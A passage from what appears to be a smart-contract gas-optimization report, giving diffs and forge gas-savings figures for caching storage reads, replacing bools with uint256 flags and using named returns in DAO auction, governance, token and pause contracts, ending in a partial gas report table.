, , , , bool settled) = auction.auction(); + 240:+ (, , bool settled, , , ) = auction.auction(); 241, 241: 242, 242: assertEq(settled, true); 243, 243: } diff --git a/test/utils/NounsBuilderTest.sol b/test/utils/NounsBuilderTest.sol index cb17d6b..ccabc62 100644 --- a/test/utils/NounsBuilderTest.sol +++ b/test/utils/NounsBuilderTest.sol @@ -240,7 +240,7 @@ contract NounsBuilderTest is Test { 240, 240: 241, 241: unchecked { 242, 242: for (uint256 i; i < _numTokens; ++i) { - 243 :- (uint256 tokenId, , , , , ) = auction.auction(); + 243:+ (, , , , uint256 tokenId, ) = auction.auction(); 244, 244: 245, 245: vm.prank(otherUsers[i]); 246, 246: auction.createBid{ value: reservePrice }(tokenId);
State variables should be cached in stack variables rather than re-reading them from storage (5 instances)
Deployment Gas Saved: 70 505
Method Call Gas Saved: 2 634
forge snapshot --diff
: 12 481 Gas Saved
Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs or having local caches of state variable contracts/addresses.
SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.
function: _settleAuction
: auction
cached in 169 but readed from storage in 172
function: _handleOutgoingTransfer
: IWETH(WETH)
can be cached
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index 794da99..3ef53f5 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -356,11 +356,13 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 356, 356: 357, 357: // If the transfer failed: 358, 358: if (!success) { + 359:+ IWETH iweth = IWETH(WETH); + 360:+ 359, 361: // Wrap as WETH - 360 :- IWETH(WETH).deposit{ value: _amount }(); + 362:+ iweth.deposit{ value: _amount }(); 361, 363: 362, 364: // Transfer WETH instead - 363 :- IWETH(WETH).transfer(_to, _amount); + 365:+ iweth.transfer(_to, _amount); 364, 366: } 365, 367: } 366, 368:
function proposalVotes: There is no need to copy proposals[_proposalId]
to memory, because you reading every field exactly one time
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..c8fb215 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -505,9 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 505, 505: uint256 506, 506: ) 507, 507: { - 508 :- Proposal memory proposal = proposals[_proposalId]; - 509 :- - 510 :- return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes); + 508:+ return (proposals[_proposalId].againstVotes, proposals[_proposalId].forVotes, proposals[_proposalId].abstainVotes); 511, 509: } 512, 510: 513, 511: /// @notice The timestamp valid to execute a proposal
function isReady
: timestamps[_proposalId]
can be cached
diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol index b78bc8c..ce94e3b 100644 --- a/src/governance/treasury/Treasury.sol +++ b/src/governance/treasury/Treasury.sol @@ -86,7 +86,8 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 { 86, 86: /// @notice If a proposal is ready to execute (does not consider expiration) 87, 87: /// @param _proposalId The proposal id 88, 88: function isReady(bytes32 _proposalId) public view returns (bool) { - 89 :- return timestamps[_proposalId] != 0 && block.timestamp >= timestamps[_proposalId]; + 89:+ uint256 timestamp = timestamps[_proposalId]; + 90:+ return timestamp != 0 && block.timestamp >= timestamp; 90, 91: } 91, 92: 92, 93: /// ///
function _isForFounder
: use storage pointer to founder
diff --git a/src/token/Token.sol b/src/token/Token.sol index afad142..ef92fe6 100644 --- a/src/token/Token.sol +++ b/src/token/Token.sol @@ -178,14 +178,16 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 { 178, 178: // Get the base token id 179, 179: uint256 baseTokenId = _tokenId % 100; 180, 180: + 181:+ Founder storage _founder = tokenRecipient[baseTokenId]; + 182:+ 181, 183: // If there is no scheduled recipient: - 182 :- if (tokenRecipient[baseTokenId].wallet == address(0)) { + 184:+ if (_founder.wallet == address(0)) { 183, 185: return false; 184, 186: 185, 187: // Else if the founder is still vesting: - 186 :- } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) { + 188:+ } else if (block.timestamp < _founder.vestExpiry) { 187, 189: // Mint the token to the founder - 188 :- _mint(tokenRecipient[baseTokenId].wallet, _tokenId); + 190:+ _mint(_founder.wallet, _tokenId); 189, 191: 190, 192: return true; 191, 193:
function _getItemImage
: complex expression can be cached as storage pointer
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol index 7a140ec..6640988 100644 --- a/src/token/metadata/MetadataRenderer.sol +++ b/src/token/metadata/MetadataRenderer.sol @@ -253,10 +253,11 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad 253, 253: 254, 254: /// @dev Encodes the reference URI of an item 255, 255: function _getItemImage(Item memory _item, string memory _propertyName) private view returns (string memory) { + 256:+ IPFSGroup storage _ipfsData = ipfsData[_item.referenceSlot]; 256, 257: return 257, 258: UriEncode.uriEncode( 258, 259: string( - 259 :- abi.encodePacked(ipfsData[_item.referenceSlot].baseUri, _propertyName, "/", _item.name, ipfsData[_item.referenceSlot].extension) + 260:+ abi.encodePacked(_ipfsData.baseUri, _propertyName, "/", _item.name, _ipfsData.extension) 260, 261: ) 261, 262: ); 262, 263: }
Using bools for storage incurs overhead (5 instances)
Deployment Gas Saved: 60 668
Avg. Method Call Gas Saved: 1 191
forge snapshot --diff
: 9 748 Gas Saved
// Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled.
Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past
NOTE: in some cases, usually in structs, this optimization can cause significant user gas loss, these cases are intentionally excluded from the report
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..62506ae 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -255,13 +255,13 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 255, 255: if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED(); 256, 256: 257, 257: // Ensure the voter hasn't already voted - 258 :- if (hasVoted[_proposalId][_voter]) revert ALREADY_VOTED(); + 258:+ if (1==hasVoted[_proposalId][_voter]) revert ALREADY_VOTED(); 259, 259: 260, 260: // Ensure the vote is valid 261, 261: if (_support > 2) revert INVALID_VOTE(); 262, 262: 263, 263: // Record the voter as having voted - 264 :- hasVoted[_proposalId][_voter] = true; + 264:+ hasVoted[_proposalId][_voter] = 1; 265, 265: 266, 266: // Get the pointer to the proposal 267, 267: Proposal storage proposal = proposals[_proposalId];
diff --git a/src/governance/governor/storage/GovernorStorageV1.sol b/src/governance/governor/storage/GovernorStorageV1.sol index beff22e..25d7ff2 100644 --- a/src/governance/governor/storage/GovernorStorageV1.sol +++ b/src/governance/governor/storage/GovernorStorageV1.sol @@ -16,5 +16,5 @@ contract GovernorStorageV1 is GovernorTypesV1 { 16, 16: 17, 17: /// @notice If a user has voted on a proposal 18, 18: /// @dev Proposal Id => User => Has Voted - 19 :- mapping(bytes32 => mapping(address => bool)) internal hasVoted; + 19:+ mapping(bytes32 => mapping(address => uint256)) internal hasVoted; 20, 20: }
diff --git a/src/lib/token/ERC721.sol b/src/lib/token/ERC721.sol index 36a4bed..5808613 100644 --- a/src/lib/token/ERC721.sol +++ b/src/lib/token/ERC721.sol @@ -35,7 +35,7 @@ abstract contract ERC721 is IERC721, Initializable { 35, 35: 36, 36: /// @notice The balance approvals 37, 37: /// @dev Owner => Operator => Approved - 38 :- mapping(address => mapping(address => bool)) internal operatorApprovals; + 38:+ mapping(address => mapping(address => uint256)) internal operatorApprovals; 39, 39: 40, 40: /// /// 41, 41: /// FUNCTIONS /// @@ -75,7 +75,7 @@ abstract contract ERC721 is IERC721, Initializable { 75, 75: /// @param _owner The owner address 76, 76: /// @param _operator The operator address 77, 77: function isApprovedForAll(address _owner, address _operator) external view returns (bool) { - 78 :- return operatorApprovals[_owner][_operator]; + 78:+ return 1==operatorApprovals[_owner][_operator]; 79, 79: } 80, 80: 81, 81: /// @notice The number of tokens owned @@ -102,7 +102,7 @@ abstract contract ERC721 is IERC721, Initializable { 102, 102: function approve(address _to, uint256 _tokenId) external { 103, 103: address owner = owners[_tokenId]; 104, 104: - 105 :- if (msg.sender != owner && !operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL(); + 105:+ if (msg.sender != owner && 0==operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL(); 106, 106: 107, 107: tokenApprovals[_tokenId] = _to; 108, 108: @@ -113,7 +113,7 @@ abstract contract ERC721 is IERC721, Initializable { 113, 113: /// @param _operator The account address 114, 114: /// @param _approved If permission is being given or removed 115, 115: function setApprovalForAll(address _operator, bool _approved) external { - 116 :- operatorApprovals[msg.sender][_operator] = _approved; + 116:+ operatorApprovals[msg.sender][_operator] = _approved ? 1 : 0; 117, 117: 118, 118: emit ApprovalForAll(msg.sender, _operator, _approved); 119, 119: } @@ -131,7 +131,7 @@ abstract contract ERC721 is IERC721, Initializable { 131, 131: 132, 132: if (_to == address(0)) revert ADDRESS_ZERO(); 133, 133: - 134 :- if (msg.sender != _from && !operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL(); + 134:+ if (msg.sender != _from && 0==operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL(); 135, 135: 136, 136: _beforeTokenTransfer(_from, _to, _tokenId); 137, 137:
diff --git a/src/lib/utils/Pausable.sol b/src/lib/utils/Pausable.sol index 6057d6b..5d37ad7 100644 --- a/src/lib/utils/Pausable.sol +++ b/src/lib/utils/Pausable.sol @@ -12,7 +12,7 @@ abstract contract Pausable is IPausable, Initializable { 12, 12: /// /// 13, 13: 14, 14: /// @dev If the contract is paused - 15 :- bool internal _paused; + 15:+ uint256 internal _paused; 16, 16: 17, 17: /// /// 18, 18: /// MODIFIERS /// @@ -20,13 +20,13 @@ abstract contract Pausable is IPausable, Initializable { 20, 20: 21, 21: /// @dev Ensures the contract is paused 22, 22: modifier whenPaused() { - 23 :- if (!_paused) revert UNPAUSED(); + 23:+ if (0==_paused) revert UNPAUSED(); 24, 24: _; 25, 25: } 26, 26: 27, 27: /// @dev Ensures the contract isn't paused 28, 28: modifier whenNotPaused() { - 29 :- if (_paused) revert PAUSED(); + 29:+ if (1==_paused) revert PAUSED(); 30, 30: _; 31, 31: } 32, 32: @@ -37,24 +37,24 @@ abstract contract Pausable is IPausable, Initializable { 37, 37: /// @dev Sets whether the initial state 38, 38: /// @param _initPause If the contract should pause upon initialization 39, 39: function __Pausable_init(bool _initPause) internal onlyInitializing { - 40 :- _paused = _initPause; + 40:+ _paused = _initPause ? 1 : 0; 41, 41: } 42, 42: 43, 43: /// @notice If the contract is paused 44, 44: function paused() external view returns (bool) { - 45 :- return _paused; + 45:+ return _paused == 1; 46, 46: } 47, 47: 48, 48: /// @dev Pauses the contract 49, 49: function _pause() internal virtual whenNotPaused { - 50 :- _paused = true; + 50:+ _paused = 1; 51, 51: 52, 52: emit Paused(msg.sender); 53, 53: } 54, 54: 55, 55: /// @dev Unpauses the contract 56, 56: function _unpause() internal virtual whenPaused { - 57 :- _paused = false; + 57:+ _paused = 0; 58, 58: 59, 59: emit Unpaused(msg.sender); 60, 60: }
diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol index d1025ec..5e2a230 100644 --- a/src/manager/Manager.sol +++ b/src/manager/Manager.sol @@ -178,14 +178,14 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 { 178, 178: /// @param _baseImpl The base implementation address 179, 179: /// @param _upgradeImpl The upgrade implementation address 180, 180: function isRegisteredUpgrade(address _baseImpl, address _upgradeImpl) external view returns (bool) { - 181 :- return isUpgrade[_baseImpl][_upgradeImpl]; + 181:+ return 1==isUpgrade[_baseImpl][_upgradeImpl]; 182, 182: } 183, 183: 184, 184: /// @notice Called by the Builder DAO to offer implementation upgrades for created DAOs 185, 185: /// @param _baseImpl The base implementation address 186, 186: /// @param _upgradeImpl The upgrade implementation address 187, 187: function registerUpgrade(address _baseImpl, address _upgradeImpl) external onlyOwner { - 188 :- isUpgrade[_baseImpl][_upgradeImpl] = true; + 188:+ isUpgrade[_baseImpl][_upgradeImpl] = 1; 189, 189: 190, 190: emit UpgradeRegistered(_baseImpl, _upgradeImpl); 191, 191: } diff --git a/src/manager/storage/ManagerStorageV1.sol b/src/manager/storage/ManagerStorageV1.sol index 5d981ef..e566821 100644 --- a/src/manager/storage/ManagerStorageV1.sol +++ b/src/manager/storage/ManagerStorageV1.sol @@ -7,5 +7,5 @@ pragma solidity 0.8.15; 7, 7: contract ManagerStorageV1 { 8, 8: /// @notice If a contract has been registered as an upgrade 9, 9: /// @dev Base impl => Upgrade impl - 10 :- mapping(address => mapping(address => bool)) internal isUpgrade; + 10:+ mapping(address => mapping(address => uint256)) internal isUpgrade; 11, 11: }
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol index 7a140ec..7976581 100644 --- a/src/token/metadata/MetadataRenderer.sol +++ b/src/token/metadata/MetadataRenderer.sol @@ -136,7 +136,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad 136, 136: 137, 137: // Offset the id if the item is for a new property 138, 138: // Note: Property ids under the hood are offset by 1 - 139 :- if (_items[i].isNewProperty) { + 139:+ if (_items[i].isNewProperty == 1) { 140, 140: _propertyId += numStoredProperties; 141, 141: } 142, 142: diff --git a/src/token/metadata/types/MetadataRendererTypesV1.sol b/src/token/metadata/types/MetadataRendererTypesV1.sol index c0890f6..4a3146b 100644 --- a/src/token/metadata/types/MetadataRendererTypesV1.sol +++ b/src/token/metadata/types/MetadataRendererTypesV1.sol @@ -8,7 +8,7 @@ interface MetadataRendererTypesV1 { 8, 8: struct ItemParam { 9, 9: uint256 propertyId; 10, 10: string name; - 11 :- bool isNewProperty; + 11:+ uint256 isNewProperty; 12, 12: } 13, 13: 14, 14: struct IPFSGroup {
Storage variable is used when local exists (2 instances)
Deployment Gas Saved: 1 400
Method Call Gas Saved: 2 602
forge snapshot --diff
: 41 326 Gas Saved
function: _settleAuction
: auction
cached in 169 but readed from storage in 172
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol index 794da99..3754f3b 100644 --- a/src/auction/Auction.sol +++ b/src/auction/Auction.sol @@ -169,7 +169,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS 169, 169: Auction memory _auction = auction; 170, 170: 171, 171: // Ensure the auction wasn't already settled - 172 :- if (auction.settled) revert AUCTION_SETTLED(); + 172:+ if (_auction.settled) revert AUCTION_SETTLED(); 173, 173: 174, 174: // Ensure the auction had started 175, 175: if (_auction.startTime == 0) revert AUCTION_NOT_STARTED();
src/governance/governor/Governor.sol
function propose
: proposalThreshold()
cached in 123, but called again in 128
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..ce1ad1a 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -125,7 +125,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 125, 125: // Cannot realistically underflow and `getVotes` would revert 126, 126: unchecked { 127, 127: // Ensure the caller's voting weight is greater than or equal to the threshold - 128 :- if (getVotes(msg.sender, block.timestamp - 1) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD(); + 128:+ if (getVotes(msg.sender, block.timestamp - 1) < currentProposalThreshold) revert BELOW_PROPOSAL_THRESHOLD(); 129, 129: } 130, 130: 131, 131: // Cache the number of targets
Use named returns where appropriate (3 instances)
Deployment Gas Saved: 2 000
Method Call Gas Saved: 174
forge snapshot --diff
: 621 Gas Saved
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol index 0d963c5..200a72a 100644 --- a/src/governance/governor/Governor.sol +++ b/src/governance/governor/Governor.sol @@ -118,7 +118,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 118, 118: uint256[] memory _values, 119, 119: bytes[] memory _calldatas, 120, 120: string memory _description - 121 :- ) external returns (bytes32) { + 121:+ ) external returns (bytes32 proposalId) { 122, 122: // Get the current proposal threshold 123, 123: uint256 currentProposalThreshold = proposalThreshold(); 124, 124: @@ -142,7 +142,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 142, 142: bytes32 descriptionHash = keccak256(bytes(_description)); 143, 143: 144, 144: // Compute the proposal id - 145 :- bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash); + 145:+ proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash); 146, 146: 147, 147: // Get the pointer to store the proposal 148, 148: Proposal storage proposal = proposals[proposalId]; @@ -170,8 +170,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 170, 170: proposal.timeCreated = uint32(block.timestamp); 171, 171: 172, 172: emit ProposalCreated(proposalId, _targets, _values, _calldatas, _description, descriptionHash, proposal); - 173 :- - 174 :- return proposalId; 175, 173: } 176, 174: 177, 175: /// /// @@ -250,7 +248,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 250, 248: address _voter, 251, 249: uint256 _support, 252, 250: string memory _reason - 253 :- ) internal returns (uint256) { + 251:+ ) internal returns (uint256 weight) { 254, 252: // Ensure voting is active 255, 253: if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED(); 256, 254: @@ -266,9 +264,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 266, 264: // Get the pointer to the proposal 267, 265: Proposal storage proposal = proposals[_proposalId]; 268, 266: - 269 :- // Used to store the voter's weight - 270 :- uint256 weight; - 271 :- 272, 267: // Cannot realistically underflow and `getVotes` would revert 273, 268: unchecked { 274, 269: // Get the voter's weight at the time the proposal was created @@ -292,8 +287,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 292, 287: } 293, 288: 294, 289: emit VoteCast(_voter, _proposalId, _support, weight, _reason); - 295 :- - 296 :- return weight; 297, 290: } 298, 291: 299, 292: /// /// @@ -326,9 +319,9 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 326, 319: uint256[] calldata _values, 327, 320: bytes[] calldata _calldatas, 328, 321: bytes32 _descriptionHash - 329 :- ) external payable returns (bytes32) { + 322:+ ) external payable returns (bytes32 proposalId) { 330, 323: // Get the proposal id - 331 :- bytes32 proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash); + 324:+ proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash); 332, 325: 333, 326: // Ensure the proposal is queued 334, 327: if (state(proposalId) != ProposalState.Queued) revert PROPOSAL_NOT_QUEUED(proposalId); @@ -340,8 +333,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 { 340, 333: settings.treasury.execute{ value: msg.value }(_targets, _values, _calldatas, _descriptionHash); 341, 334: 342, 335: emit ProposalExecuted(proposalId); - 343 :- - 344 :- return proposalId; 345, 336: } 346, 337: 347, 338: /// ///
Overall Gas Saved
This is the result of merging all the fixes:
Deployment Gas Saved: 341 027
Method Call Gas Saved: 10 231
forge snapshot --diff
: 73 132 Gas Saved
forge test --gas-report
:
╭───────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/auction/Auction.sol:Auction contract ┆ ┆ ┆ ┆ ┆ │ ╞═══════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 2278467 ┆ 11788 ┆ ┆ ┆ ┆ │ +│ 2135690 ┆ 11068 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ auction()(address) ┆ 791 ┆ 791 ┆ 791 ┆ 791 ┆ 12 │ +│ auction()(address) ┆ 785 ┆ 785 ┆ 785 ┆ 785 ┆ 13 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ auction()(uint256,uint256,address,uint40,uint40,bool) ┆ 791 ┆ 791 ┆ 791 ┆ 791 ┆ 23 │ +│ auction()(uint40,uint40,bool,address,uint256,uint256) ┆ 785 ┆ 785 ┆ 785 ┆ 785 ┆ 22 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ createBid ┆ 4117 ┆ 15895 ┆ 11116 ┆ 28022 ┆ 71 │ +│ createBid ┆ 4004 ┆ 15823 ┆ 11118 ┆ 27947 ┆ 71 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ duration ┆ 334 ┆ 334 ┆ 334 ┆ 334 ┆ 5 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ initialize ┆ 3058 ┆ 124851 ┆ 117699 ┆ 137599 ┆ 73 │ +│ initialize ┆ 3058 ┆ 124835 ┆ 117682 ┆ 137582 ┆ 73 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ minBidIncrement ┆ 389 ┆ 389 ┆ 389 ┆ 389 ┆ 2 │ +│ minBidIncrement ┆ 378 ┆ 378 ┆ 378 ┆ 378 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ owner ┆ 363 ┆ 1029 ┆ 363 ┆ 2363 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ pause ┆ 1450 ┆ 1450 ┆ 1450 ┆ 1450 ┆ 4 │ +│ pause ┆ 1356 ┆ 1356 ┆ 1356 ┆ 1356 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ paused ┆ 382 ┆ 382 ┆ 382 ┆ 382 ┆ 2 │ +│ paused ┆ 379 ┆ 379 ┆ 379 ┆ 379 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ reservePrice ┆ 326 ┆ 1992 ┆ 2326 ┆ 2326 ┆ 6 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ settleAuction ┆ 3398 ┆ 49224 ┆ 49224 ┆ 95050 ┆ 2 │ +│ settleAuction ┆ 3398 ┆ 49226 ┆ 49226 ┆ 95055 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ settleCurrentAndCreateNewAuction ┆ 3986 ┆ 158800 ┆ 163090 ┆ 163090 ┆ 56 │ +│ settleCurrentAndCreateNewAuction ┆ 3974 ┆ 158790 ┆ 163075 ┆ 163075 ┆ 56 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ timeBuffer ┆ 387 ┆ 387 ┆ 387 ┆ 387 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ treasury ┆ 341 ┆ 1341 ┆ 1341 ┆ 